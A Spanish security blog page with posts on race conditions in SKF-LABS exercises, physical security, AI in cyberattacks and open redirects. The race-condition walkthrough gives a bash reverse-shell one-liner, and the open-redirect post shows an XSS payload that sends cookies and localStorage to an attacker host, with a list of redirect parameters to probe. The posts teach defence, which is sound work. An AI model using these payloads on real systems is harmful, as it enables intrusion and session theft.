Condiciones de carrera (Race Condition) : Explicación y ejemplos

    Las condiciones de carrera(también conocidas como Race Condition son un tipo de vulnerabilidad que puede ocurrir en sistemas informáticos donde dos o más procesos o hilos de ejecución compiten por los mismos recursos sin que haya un mecanismo adecuado de sincronización para controlar el acceso a los mismos.

    Esto significa que si dos procesos intentan acceder a un mismo recurso compartido al mismo tiempo, puede ocurrir que la salida de uno o ambos procesos sea impredecible, o incluso que se produzca un comportamiento no deseado en el sistema.

    Los atacantes pueden aprovecharse de las condiciones de carrera para llevar a cabo ataques de denegación de servicio (DoS), sobrescribir datos críticos, obtener acceso no autorizado a recursos, o incluso ejecutar código malicioso en el sistema.

    Por ejemplo, supongamos que dos procesos intentan acceder a un archivo al mismo tiempo: uno para leer y el otro para escribir. Si no hay un mecanismo adecuado para sincronizar el acceso al archivo, puede ocurrir que el proceso de lectura lea datos incorrectos del archivo, o que el proceso de escritura sobrescriba datos importantes que necesitan ser preservados.

    El impacto de las condiciones de carrera en la seguridad depende de la naturaleza del recurso compartido y del tipo de ataque que se pueda llevar a cabo. En general, las condiciones de carrera pueden permitir a los atacantes acceder a recursos críticos, modificar datos importantes, o incluso tomar el control completo del sistema. Por lo tanto, es importante que los desarrolladores y administradores de sistemas tomen medidas para evitar y mitigar las condiciones de carrera en sus sistemas.


PoC

    Para el primer escenario usaremos el laboratorio de SKF-LABS Race Condition


La aplicación muestra un cuadro de entrada, donde puede insertar su nombre de usuario e ir a la siguiente pantalla, haciendo clic en "Hacerlo mío".


La aplicación verifica si el nombre de usuario contiene caracteres especiales como `"` y `\` y los borra. También aplica un filtrado estricto en el texto utilizando el siguiente regex: [A-Za-z0-9 ]**


  Vemos el código:


Aquí vemos dos opciones que en action no vale nada se le asigna run, si le indicamos un nombre lo valida(persona va a valer lo que indiquemos)

    Cuando creamos una persona si el nombre de usuario es correcto, hacemos clic en `Boot` y nos pondrá en el marcador.


    Si miramos el código, vemos que se están utilizando 4 funciones:

 • 1).boot_validate(person) la función recibe el nombre de usuario en la entrada y ejecuta lo siguiente:
        - elimina `"` y `\` del nombre de usuario.
        - abre `hello.sh` archivo.
        - escribe un comando en él.
        - cierra el archivo.
        - registra información útil.
        - comprueba si el nombre de usuario está en el formato `[A-Za-z0-9 ]*`
        - devuelve el nombre de usuario si el regex tiene éxito.

 • 2).boot_clean() que elimina todos los archivos de hola (`hello.sh` y `hello.txt`).

 • 3).boot_run() ejecuta el `hello.sh` archivo.

 • 4). boot_reset()restablece el sistema a la configuración predeterminada
se crea el archivo hello.sh con el contenido de hello.txt, además de que crea dos contenidos en log.txt de fecha

    Si interceptamos el tráfico generado por la aplicación, vemos que:

 • Se emite una solicitud GET para validar el nombre de usuario y la llamada boot_validate(person).


    Al hacer clic en el arranque, generará la solicitud para ejecutar el `boot_run()` función.


    Cuando intentamos inyectar código nos limpia el archivo hello.txt por tanto la bash del archivo sh no lo puede ejecutar .


    Tiene un validación.


    Esta validación se encarga de ver que la cadena empiece por echo, los numero y letras, entonces al inyectar código como `id`  ya no es una cadena alfanumérica y lo elimina con el propósito de evitar precisamente esto:

    Que no machea lo que hemos introducido la validación.


    Hace un boot clean.

    Es decir lo elimina.

    Aquí es donde se acontece la condición de carrera,   notamos que la función `boot_validate(person)` primero inserta el comando en el `hello.sh` y luego valida la entrada, devolviendo si es válida o no.


    Entre donde valida y elimina hay un margen el el cual y si vas muy rápido antes de borrar el archivo lo puedes ver  

    Antes de que podamos explotar la condición de carrera, necesitamos una buena carga útil que ejecute el comando para nosotros. Sabemos que las comillas dobles y la reacción inversa no se pueden usar para romper el comando, pero también sabemos que usando ''' backtick.

    Ahora podemos explotar esta secuencia para lograr una inyección de comandos. Para ello debemos enviar solicitudes con alta frecuencia.

    Entonces hacemos un bucle infinito para aprovecharnos y poder ver el archivo antes de ser eliminado .

Aquí hay que armarse de paciencia hasta que salga .



Y lo conseguimos ver.


O lo podemos hacer mediante un script;


    Y como vemos que lo ejecuta podemos hacer una inyeccion de comando y crear una revshell escapandola mediane las comillas `bash -i >& /dev/tcp/192.168.0.113/443 0>&1`.



2 Escenario

SKF-LABS Race Condition 2

    Esta es la web.

    Es decir ponemos lo que sea y nos descarga el siguiente archivo.

    Si vemos el código.

    Si observamos el código, vemos que la aplicación obtiene el parámetro de consulta, escribe en un archivo llamado shared-file.txt, luego abre el archivo y lo envía de vuelta como respuesta.

    Hay un margen entre cuando mete el contenido en el archivo y luego lo presenta para que lo descarguemos.

También si hay muchos usuarios creando archivos muy rápido nosotros podríamos llegar a verlos, lo hacemos mediante un bucle infinito

Interceptamos la petición y mientras tanto enviaremos un par de solicitudes de Burpsuite:

Y al ejecutarlo con el bucle infinito podemos ver el archivo de la otra persona:


    Si miramos en los registros veremos:



Leer más»

Blindando el fuerte: El Poder de la Ciberseguridad en el Espacio Físico

Los empleados son los activos más valiosos de una empresa, ya que hacen aumentar los ingresos, establecen relaciones con los clientes y, evidentemente, ejecutan un papel determinante en el perímetro de seguridad de una compañía.


Sin embargo, es más probable que los ciberdelincuentes consideren a los empleados como una vía menos resistente para acceder a la organización. Por ejemplo, en Norteamérica dos casos muy importantes de brechas se han debido a la desinformación o al descuido de los empleados y al phishing o a otro tipo de ingeniería social. Los ciberdelincuentes lo saben y lo utilizan para su propio beneficio.

La estructura de seguridad física consta de tres componentes principales: control de acceso, vigilancia activa permanente y pruebas. El éxito del programa de seguridad física de una organización a menudo se puede atribuir a cómo se implementan, mejoran y mantienen cada uno de estos componentes.

La seguridad física mantiene a sus empleados, instalaciones y activos a salvo de las amenazas del mundo real. Estas amenazas pueden surgir de intrusos internos o externos que cuestionan la seguridad de los datos.

La clave es entender que la seguridad física se refiere a todo el espacio, y no debe restringirse solo a la puerta de entrada, sino a todo el edificio. Cualquier área que quede sin protección, como la zona de fumadores (con puertas, por ejemplo, que dan al exterior del edificio, sin los controles de la entrada principal) o la entrada al aparcamiento, puede suponer un riesgo.

Los expertos en seguridad se refieren a esta forma de protección como una protección profunda o en capas, ya que existen varios puntos de control en las infraestructuras físicas.

Al mismo tiempo, si la estrategia de seguridad física falla, un intruso podría acceder a los datos y activos digitales. Para garantizar que una estrategia de ciberseguridad cumple con todo lo necesario, hay que confirmar que la estrategia de seguridad física también es la adecuada.

Dado que la seguridad digital y física están tan vinculadas, una brecha de seguridad podría afectar ambas facetas. Por lo tanto, es esencial fusionar la seguridad física y la ciberseguridad para dar respuesta a las amenazas de forma integral.


Medidas de seguridad física


Los componentes clave de la seguridad física incluyen:

• El control de acceso y el monitoreo del acceso físico deben cubrir toda el área, utilizando herramientas sofisticadas de seguridad física, como restricciones biométricas y de tarjetas de identificación. Sin embargo, es importante comprender los pros y los contras de cada medida y cómo se pueden falsificar estos controles de acceso.

• Vigilancia, que contiene alarmas antirrobo, guardias y circuito cerrado de televisión que mantiene un registro completo de todo el movimiento. Las áreas de alto riesgo pueden tener detectores sofisticados para garantizar una visión más holística.

Los principios generales de las medidas de seguridad física deben responder a:

• Perímetro de Seguridad Física
• Controles de Entrada Física
• Seguridad de Oficinas, Salas e Instalaciones
• Trabajo en Áreas Seguras
• Acceso Público, Áreas de Carga y Descarga
• Protección y Eliminación de Equipos
• Controles de Entrada Física
• Protección contra Amenazas Externas y Ambientales  


IoT e IA con la seguridad física


Tradicionalmente, la seguridad física y digital eran dos campos distintos. Hoy en día las organizaciones dependen cada vez más de IoT y sus integraciones, aumentando por sí mismas la necesidad de una mejora en sus controles de seguridad física y digital (red, servidores, datos, etc.). Las máquinas virtuales y las aplicaciones, incluso si están en la nube, son tan seguras como sus servidores físicos.

Con la tecnología en constante evolución, las integraciones con IA son cada vez más populares. Con respecto a la seguridad física, estas integraciones seguirán evolucionando, por ejemplo, al permitir:

• Análisis en tiempo real de la videovigilancia con detección de posibles anomalías.
• Sistemas de control de acceso inteligente que permiten un enfoque más reactivo.
• Patrullas de robots y drones automáticos y proactivos en busca de posibles anomalías y amenazas.
• Monitoreo de multitudes, que permite reconocimiento facial y análisis de comportamiento.



¿Cuáles son las amenazas en la Seguridad Física?



Los incidentes de seguridad física son muchos y muy variados y, están relacionados con permitir el acceso de ellos a terceros con malas intenciones.

Desde un portátil fuera de nuestra vista y desbloqueado, hasta un dispositivo USB perdido son solo el comienzo de lo que puede terminar siendo un grave incidente para nuestra seguridad y privacidad.

Las amenazas para la seguridad física se organizan de la siguiente forma:

• Acceso físico. En el caso de que un tercero quiera atacar nuestro sistema o robar información de nuestro dispositivo, si tiene acceso físico a él, las probabilidades de éxito se multiplicarán.

• Integridad física. A veces, la protección de nuestros equipos no consiste en defenderlo de posibles ataques o de la manipulación por parte de terceros. En ocasiones, la protección reside en mantener la integridad física de nuestros dispositivos y protegerlos de posibles golpes, caídas o desperfectos producidos, en muchos casos, por una mala manipulación o un mantenimiento incorrecto. A fin de cuentas, suelen tratarse de dispositivos delicados que requieren de cuidados especiales.

• Exposición de la información. Se trata de aquellas situaciones en las que, por falta de buenas prácticas o despistes, se producen fugas o pérdidas de información donde nosotros somos el responsable. Es común que recurramos a elementos físicos para almacenar o apuntar determinada información, como puede ser un cuaderno con contraseñas o una agenda con datos de contactos, citas y otro tipo de información sensible. O, en otros casos, acabamos por publicarlos y exponerlos en la red, a través de redes sociales. 

Algunos de los ataques más comunes y más difíciles de mitigar se centran en la Ingeniería Social, manipulando psicológicamente a las personas para que realicen acciones o revelen información confidencial. Ejemplos:

Tailgating: El atacante logra seguir a una persona autorizada hasta un área reservada.
Piggybacking: El atacante consigue engañar a una persona autorizada haciéndole acceder a áreas reservadas.


¿Cómo podemos proteger la Seguridad Física?


Conocimiento de la situación de los activos y datos. La mayoría de las infraestructuras de ciberseguridad deben conocer los activos (incluidos los datos) que tiene una organización: los sistemas y aplicaciones que procesan los datos, quién tiene acceso y dónde se encuentra. Un análisis de los riesgos de ciberseguridad basado en activos conocidos permitirá determinar de forma más rigurosa las posibles amenazas. De esta forma, la organización puede centrarse en los aspectos más importantes de sus recursos de ciberseguridad.

• Concienciación y formación en ciberseguridad

La concienciación va más allá de la detección y catalogación de activos. Debería consistir en una formación continua a los empleados sobre las políticas, las amenazas actuales y cómo enfrentarse a estas amenazas. Debería prestarse especial atención a la ingeniería social, que sigue siendo el vector de ataque más común y exitoso.

Las organizaciones no deberían ofrecer formaciones genéricas, sino que deberían orientarlas según el puesto de trabajo y realizar sesiones personales y entretenidas. Contar historias y exponer juegos educativos que apoyen los conceptos de la concienciación. En resumen, no debería de ser un simple examen.

Sus activos físicos pueden ser robados y eso podría ser una gran amenaza. Los controles más utilizados para la protección en lo que respecta a la seguridad física:

• Acceso remoto: Permite la localización remota a través de aplicaciones.
• Sistemas de alarma: Capa reactiva sobre la captura de eventos históricos.
• Controles de acceso: Controle y registre el movimiento de personas y vehículos.
• Iluminación indicada: una buena iluminación interior y exterior puede ser suficiente para evitar el acceso no autorizado, especialmente de noche.
• Auditorías regulares: todos los controles de seguridad deben auditarse periódicamente para garantizar que todo funcione como se espera.
• Respuesta al incidente: Las organizaciones deben estar preparadas para manejar incidentes, asegurando respuestas rápidas, organizadas y eficientes.
• Tecnologías de seguridad física basadas en la nube puede hacer que los datos de seguridad sean más accesibles para el personal de seguridad. De esta forma, pueden ver los registros de acceso, la transmisión de vigilancia y las funciones de operación remota desde cualquier lugar utilizando sus dispositivos móviles.
• El uso de APIs abiertas con seguridad basada en la nube, así como de aplicaciones de software de ciberseguridad será clave. El software protegerá los datos de seguridad para garantizar que permanezcan solo en manos del personal de seguridad autorizado y los administradores del sistema.
• Aplicación de políticas de ciberseguridad a la seguridad física( Zero Trust )
• Evitar dejar información o datos personales a la vista de todo el mundo, como credenciales o correos electrónicos.
• Bloquear el dispositivo una vez que hayamos dejado de utilizarlo o si vamos a ausentarnos momentáneamente.
• Guardar nuestros dispositivos o aquellos dispositivos de almacenamiento que contengan información sensible en lugares seguros
 Realizar copias de seguridad cada cierto tiempo. Si bien no se trata de una medida de protección contra ataques físicos, si es una buena práctica que minimizará sus consecuencias.
• El cifrado del dispositivo es otra medida de protección muy útil que evitará que, en caso de pérdida o robo, una tercera persona pudiese acceder a nuestros archivos e información personal.
• Para evitar posibles ataques e infecciones por medio de dispositivos USB, es recomendable configurar nuestro equipo para evitar que se autoejecuten este tipo de dispositivos y llevar a cabo un análisis de los mismos mediante el antivirus instalado.
No perder de vista nuestros dispositivos en ningún momento. Especialmente si nos encontramos en un sitio público y, por un descuido, corremos el riesgo de perderlo o de que sea robado.
• En última instancia, es muy recomendable que instalemos aplicaciones antirrobo o perdida de nuestros dispositivos.
Leer más»

IA vs. IA: Inteligencia artificial en ataques y en la ciberseguridad

    La inteligencia artificial se ha convertido en una espada de doble filo en el ámbito de la ciberseguridad. A medida que evoluciona, se intensifican los ataques sofisticados y, al mismo tiempo, se potencian los sistemas existentes para defenderse de ellos.


    Los ataques basados, o que utilicen, la IA generativa, figuran entre las principales amenazas para la ciberseguridad en 2024, según TechRepublic. Así queda recogido en un informe sobre previsiones de ciberseguridad a nivel global realizado por expertos de Google Cloud y empresas como Mandiant Intelligence, Mandiant Consulting o VirusTotal.

    Eso sí, el informe también señala que al igual que la IA generativa puede servir para realizar ataques, también servirá para defenderse de ellos. Además, el informe pone sobre avisio al personal de seguridad de empresas y entidades sobre los ataques respaldados por países entre otras amenazas.

    Los atacantes utilizarán la IA generativa y los modelos grandes de lenguaje para ataques de phishing e intentar engañar mediante ingeniería social a sus víctimas, según las predicciones de Google AI. Esto es posible porque esta Inteligencia Artificial es capaz de generar contenido de aspecto natural, lo que puede llevar a los empleados de las empresas que estén sufriendo un ataque a tener dificultades para identificar emails falsos por fallos gramaticales o de ortografía.

    También a recibir llamadas engañosas y de spam que pueden confundir, porque no hay un robot al otro lado. Incluso podrían utilizarla para crear contenido falso o noticias engañosas, que utilizar en contactos de ingeniería social para conseguir información para realizar ataques en otro momento.

    Todo esto hará que tanto la IA generativa como los modelos grandes de lenguaje sean cada vez más populares en los ataques, y se ofrezcan cada vez más en los foros y mercados donde se relacionan los ciberdelincuentes como un servicio de pago de ayuda para realizar ataques, como en campañas de phishing. También para expandir desinformación y noticias falsas.

    Ambos sistemas pueden utilizarse también para mejorar la defensa ante los ataques. La IA generativa se puede utilizar en inteligencia para la identificación de amenazas, así como para el análisis de datos. Su uso también podría mejorar la velocidad de reacción ante un ataque, así como aumentar la escala de su defensa. Incluso ante ataques que impliquen grandes cantidades de datos.

      Otro de los peligros que acechan a la ciberseguridad en 2024 es el malware que borra la memoria de un ordenador, que aunque se ha utilizado ya en ataques de grupos rusos, principalmente contra Ucrania, puede crecer y ampliarse su uso. Además, los grupos de atacantes pueden crear en 2024 botnets durmientes, por ejemplo en dispositivos de IoT, para poder escalar ataques a placer activándolas cuando lo necesiten. La activación de estas botnets, además, por su naturaleza temporal, resulta bastante complicada, por lo que los expertos en ciberseguridad tienen que estar muy alerta ante su presencia.

    Pero además de estas novedades, Google Cloud avisa también de la vigencia de otros tipos de ataque más tradicionales. Así, las vulnerabilidades de «día cero» pueden seguir aumentando, y los atacantes, especialmente los que tiene países detrás, pueden seguir utilizándolas, debido a que les ofrecen acceso continuo a los sistemas y entornos objetivo.

    Los correos de phishing y el malware son relativamente sencillos de identificar en su mayoría para los expertos en seguridad y los equipos de TI de las empresas, pero este tipo de vulnerabilidades mencionado sigue siendo bastante eficaz, y es mucho más complicado de detectar.

    En entornos multicloud e híbridos, las empresas tienen que tener cuidado con problemas de identidad y errores en las configuraciones, puesto que podrían permitir a los atacantes moverse por distintos entornos cloud. Además, puede que muchos atacantes utilicen servicios sin servidor en 2024, por los niveles de escalabilidad, flexibilidad y automatización que consiguen con ellos.

    Google está detectando un interés cada vez mayor por los ataques de cadena de suministro a través de gestores de paquetes, como NPM (Node-js), PyPi (Python) y crates.io (Rust). Este tipo de ataque tiene muchas posibilidades de aumentar, por el bajo coste de su despliegue y el gran impacto que puede ocasionar. 


IA vs. IA: el nuevo enfrentamiento en el mundo de la ciberseguridad


    Los ciberataques basados en IA pueden utilizar técnicas más avanzadas y sofisticadas. Por ejemplo, los atacantes pueden utilizar el aprendizaje automático para generar correos electrónicos de phishing más convincentes y personalizados, o utilizar redes neuronales para analizar patrones de tráfico de red y encontrar debilidades en la seguridad de la red.

    Pese a este lado negativo, puede ser usada como un arma definitiva para precisamente evitar este tipo y otros ataques. Un informe de Norton indica que las empresas necesitan 196 días en promedio para recuperarse de cualquier violación de datos.


Inteligencia artificial en la ciberseguridad, que ventajas e inconvenientes tiene, ¿regularización?

    

¿Cómo podemos protegernos ?


    Protegerse de los ciberataques creados por inteligencia artificial (IA) puede ser un desafío, ya que los atacantes utilizan cada vez más la IA para automatizar y perfeccionar sus ataques. Sin embargo, existen algunas medidas que puedes tomar para reducir el riesgo de ser víctima de estos ataques:

• Mantén tus sistemas actualizados:
Asegúrate de que todos tus dispositivos y software estén actualizados con los últimos parches de seguridad. Esto ayuda a cerrar las vulnerabilidades conocidas que los atacantes podrían explotar.

• Usa software de seguridad: Instala software antivirus y antimalware de buena reputación en tus dispositivos. Estas herramientas pueden detectar y eliminar muchas amenazas, incluidas las generadas por IA.

• Fortalece tus contraseñas: Utiliza contraseñas largas y complejas que incluyan letras, números y caracteres especiales. Además, es recomendable utilizar una autenticación de dos factores (2FA) siempre que sea posible.

• Cuidado con el phishing: Los ataques de phishing pueden ser impulsados por IA para hacer que los correos electrónicos maliciosos parezcan más auténticos. Verifica siempre la legitimidad de los correos electrónicos y no hagas clic en enlaces o descargues archivos adjuntos de fuentes desconocidas.

• Monitorea tu red: Utiliza herramientas de monitoreo de red para detectar actividades sospechosas. Puedes configurar alertas para recibir notificaciones en caso de comportamientos inusuales.

• Aprende sobre la inteligencia artificial y el aprendizaje automático: Entender cómo funcionan estos sistemas te ayudará a anticipar cómo podrían ser utilizados en ataques. Esto te permitirá estar más preparado.

• Segmenta tu red: Divide tu red en segmentos separados para limitar el acceso de los atacantes en caso de una violación. Esto evita que un ataque se propague por toda tu infraestructura.

• Realiza copias de seguridad regulares(regla 3-2-1): Haz copias de seguridad de tus datos importantes en ubicaciones seguras y aisladas de la red principal. Esto te ayudará a recuperar la información en caso de un ataque de ransomware u otro tipo de ciberataque.

• Educa a tu personal: Capacita a tu equipo en las mejores prácticas de seguridad cibernética. La concienciación y la formación pueden ser la primera línea de defensa contra los ataques.

• Colabora con expertos en seguridad: Si tienes recursos limitados o si deseas una seguridad más sólida, considera la posibilidad de contratar a expertos en ciberseguridad o empresas de seguridad cibernética para realizar evaluaciones de seguridad y tomar medidas preventivas.

• Legislación y cumplimiento de normativas:
Cumple con las leyes y regulaciones de ciberseguridad aplicables a tu industria y ubicación geográfica. Esto puede ayudarte a establecer estándares de seguridad más altos.

• Actualiza tus políticas de seguridad:
A medida que evolucionan las amenazas, es importante revisar y actualizar regularmente tus políticas y procedimientos de seguridad cibernética para mantenerlos al día.

Leer más»

Vulnerabilidad Open Redirect: ejemplos y soluciones

     La vulnerabilidad conocida como redirección abierta, o también referida como Open Redirect, es una problemática recurrente en aplicaciones web que permite a ciberdelincuentes direccionar a usuarios hacia sitios web maliciosos. Dicha vulnerabilidad surge cuando una aplicación web posibilita que agresores manipulen la URL de una página de redireccionamiento con el propósito de enviar al usuario a un sitio de carácter pernicioso.

    Ilustrando este escenario, imaginemos una aplicación web que emplea un parámetro de redireccionamiento dentro de una URL, redirigiendo al usuario a un sitio externo tras autenticarse. Si esta URL no valida adecuadamente dicho parámetro y concede a ciberdelincuentes alterarlo, estos individuos pueden encaminar al usuario a un sitio web dañino, en lugar de la página legítima.

    Un ejemplo de cómo los ciberdelincuentes pueden aprovechar la vulnerabilidad de redirección abierta radica en la elaboración de correos electrónicos de phishing que aparentan ser legítimos. No obstante, en realidad contienen enlaces manipulados que redirigen a usuarios hacia un sitio web perjudicial. Los agresores recurren a tácticas de ingeniería social para persuadir al usuario de hacer clic en el enlace, valiéndose de ofertas atractivas o supuestas oportunidades exclusivas.

    Para prevenir la vulnerabilidad de redirección abierta, es fundamental que los programadores implementen medidas de seguridad adecuadas en su código. Entre estas se incluye la validación meticulosa de las URLs de redireccionamiento, así como la restricción de opciones de redirección únicamente hacia sitios web legítimos. Los desarrolladores pueden además aplicar técnicas de codificación segura para dificultar la manipulación de URLs. Esto comprende la codificación de caracteres especiales y la eliminación de caracteres inválidos.

Un ejemplo sencillo es asegurarse de que se está haciendo clic en:

buenejemplo.com

y no en algo del tipo:

malejemplo.com.malejemplo.com
malejemplo-com-malejemplo.com


Sin embargo,hay que saber cómo actuar en caso de acceder a un sitio que acepte el redireccionamiento, como por ejemplo:

buenejemplo.com/redir.php?q=malejemplo.com


Esto obliga a los desarrolladores y administradores de cualquier sitio a asegurarse de que su tecnología no puede ser usada para redireccionar al usuario a un sitio no deseado. Si no lo hacen, el redireccionamiento puede afectar de forma negativa a su reputación y perjudicar directamente a sus usuarios.

Esto es algo que sucede constantemente por razones tan simples como redirigir de la versión HTTP de un sitio a la versión HTTPS encriptada, o cuando los sitios cambian la posición de su punto de conexión de /oldapp a /newapp. Esta operación puede realizarse mediante la respuesta HTTP, en HTML o en JavaScript:

Respuesta HTTP:

HTTP/1.1 301 Moved Permanently
Location: https://www.example.com/newapp


HTML:

<meta http-equiv="refresh"
content="5;URL='https://www.example.com/newapp'"/>


JavaScript:

window.location.href = 'https://www.example.com/newapp'




Abuso malicioso del redireccionamiento


    Los ejemplos más simples de abuso de redireccionamiento de URL son la suplantación de identidad y la distribución de malware, secuencias de comandos entre sitios (XSS) mediante redireccionamientos, etc ...


• Suplantación de identidad

    
    Los ciberdelincuentes distribuyen enlaces maliciosos del correo electrónico, ya que permite presentar un señuelo. Los señuelos son el texto del correo electrónico, que proporciona un contexto y una llamada a la acción usada por un ciberdelincuente para convencer a su víctima de que haga clic en un enlace.

    Los ciberdelincuentes pueden suplantar identidades recreando el aspecto de un sitio de confianza en una ubicación maliciosa y esperando a que el usuario intente iniciar sesión. Por ejemplo, un ciberdelincuente podría alojar una imitación del sitio web de un banco en un dominio que controla. A continuación, el ciberdelincuente  podría diseñar una URL usando redireccionamientos abiertos en el sitio del banco para redirigir al usuario al sitio malicioso:

https://buenbanco.example.com/external-link.jspa?
url=https%3A%2F%2Fphishingexample.com/bancofraudulento


    En este ejemplo, el ciberdelincuente está abusando de goodbank.example.com para redireccionar a phishingejemplo.com/bancofraudulento, controlado por él mismo.


• Malware


    La distribución de malware a través de redireccionamientos abiertos es muy similar a la suplantación de identidad; la única diferencia es que el destino final es un archivo malicioso en lugar de una página impostora:

https://buenejemplo.example.com/exit.asp?
url=https%3A%2F%2Fmalwareejemplo.com/documento.pdf


    En este caso, buenejemplo.example.com tiene un redireccionamiento abierto que hace que el usuario descargue el archivo malicioso demalwareejemplo.com/documento.pdf


• XSS


    Los ciberdelincuentes también pueden abusar de la confianza inherente del navegador en el código procedente de la URL de origen. Se puede enviar JavaScript como destino del redireccionamiento, lo que hace que el navegador ejecute el código cuando lo devuelve al usuario. 

https://example.com/proxy.php?link=%3Cscript%3Eimage%20%3D%20new%20Image%28%29%3B%20image.src%3D%22https%3A%2F%2Fcollectionexample.com%2F%3Fc%3D%22%2Bdocument.cookie%2B%22ls%3D%22%2BJSON.stringify%28localStorage%29%3B%3C%2Fscript%3E

    La versión decodificada de la URL:

https://example.com/proxy.php?link=<script>image = new Image();
image.src="https://collectionexample.com/?c="+document.cookie+"ls="+JSON.stringify(localStorage);
</script>


    En este ejemplo, el navegador del usuario aceptará todas las cookies disponibles y la información almacenada a nivel local sobre example.com y la enviará al dominio controlado por el ciberdelincuente, collectionexample.com.


    Una forma común de explotar las vulnerabilidades de redirección abierta es inyectar una URL maliciosa como parámetro en la función de redirección de la aplicación. A continuación se presentan algunos parámetros de inyección comunes que se pueden utilizar para probar las vulnerabilidades de redirección abierta:


• ?next={payload}
• ?url={payload}
• ?target={payload}
• ?rurl={payload}
• ?dest={payload}
• ?destination={payload}
• ?redir={payload}
• ?redirect_uri={payload}
• ?redirect_url={payload}
• ?redirect={payload}
• /redirect/{payload}
• /cgi-bin/redirect.cgi?{payload}
• /out/{payload}
• /out?{payload}
• ?view={payload}
• / login?to={payload}
• ?image_url={payload}
• ?go={payload}
• ?return={payload}
• ?returnTo={payload}
• ?return_to={payload}
• ?checkout_url={payload}
• ?continue={payload}
• ?return_path={payload}


Ejemplo 1


Utilizaremos  3 proyectos de Github para desplegar los diferentes laboratorios



Este botón nos redirigió


y podríamos redirigirlo a donde queremos 



¿Qué podría ocurrir?
Podría ser utilizado para crear botnets, por ejemplo, crea una base de datos de paginas con esta vulnerabilidad para cuando alguien entre lo redirija por ejemplo a una web y haga una denegación de servicio.


Ejemplo 2



Al denegarnos algunos caracteres, los  url encodeamos el punto y luego el % por separado además de quitar las barras puesto que para dominios https no hace falta ponerlas *pero solo en estos casos*




Ejemplo 3


Del mismo modo podriamos reenviar a la descarga de pdf con distribucion de malware 




Ejemplo 4



Y del mismo modo URL encodeamos los caracteres especiales 




Cómo evitarlo

 
       La pregunta  es: ¿realmente necesitamos proporcionar un redireccionamiento? Si bien existen razones válidas para que una aplicación desee efectuar un seguimiento de los enlaces salientes, hay que tener en cuenta ciertas cuestiones de diseño adicionales para evitar que se produzcan abusos. 

    Si el redireccionamiento solo se realiza cuando la aplicación lo requiere, se eliminará la considerable superficie de ataque que supone la interacción del usuario. Si la aplicación no permite prescindir de dicha interacción, contar con una lista predefinida de URL para cotejar puede eliminar la posibilidad de que se inserten destinos maliciosos arbitrarios.

    Si se necesita un redireccionamiento basado en la interacción del usuario, es recomendable limitar los esquemas que se puedan usar en el redireccionamiento. Restringir la interacción a URL con http o https, por ejemplo, puede ayudar a limitar los riesgos de JavaScript que se han mencionado.

    Muchos de los redireccionamientos observados no efectúan una redirección a menos que el usuario haga clic en un enlace o pulse un botón dentro de la página. A menudo se presenta al usuario una advertencia visual en la que se le explica el riesgo que corre al seguir adelante.

Leer más»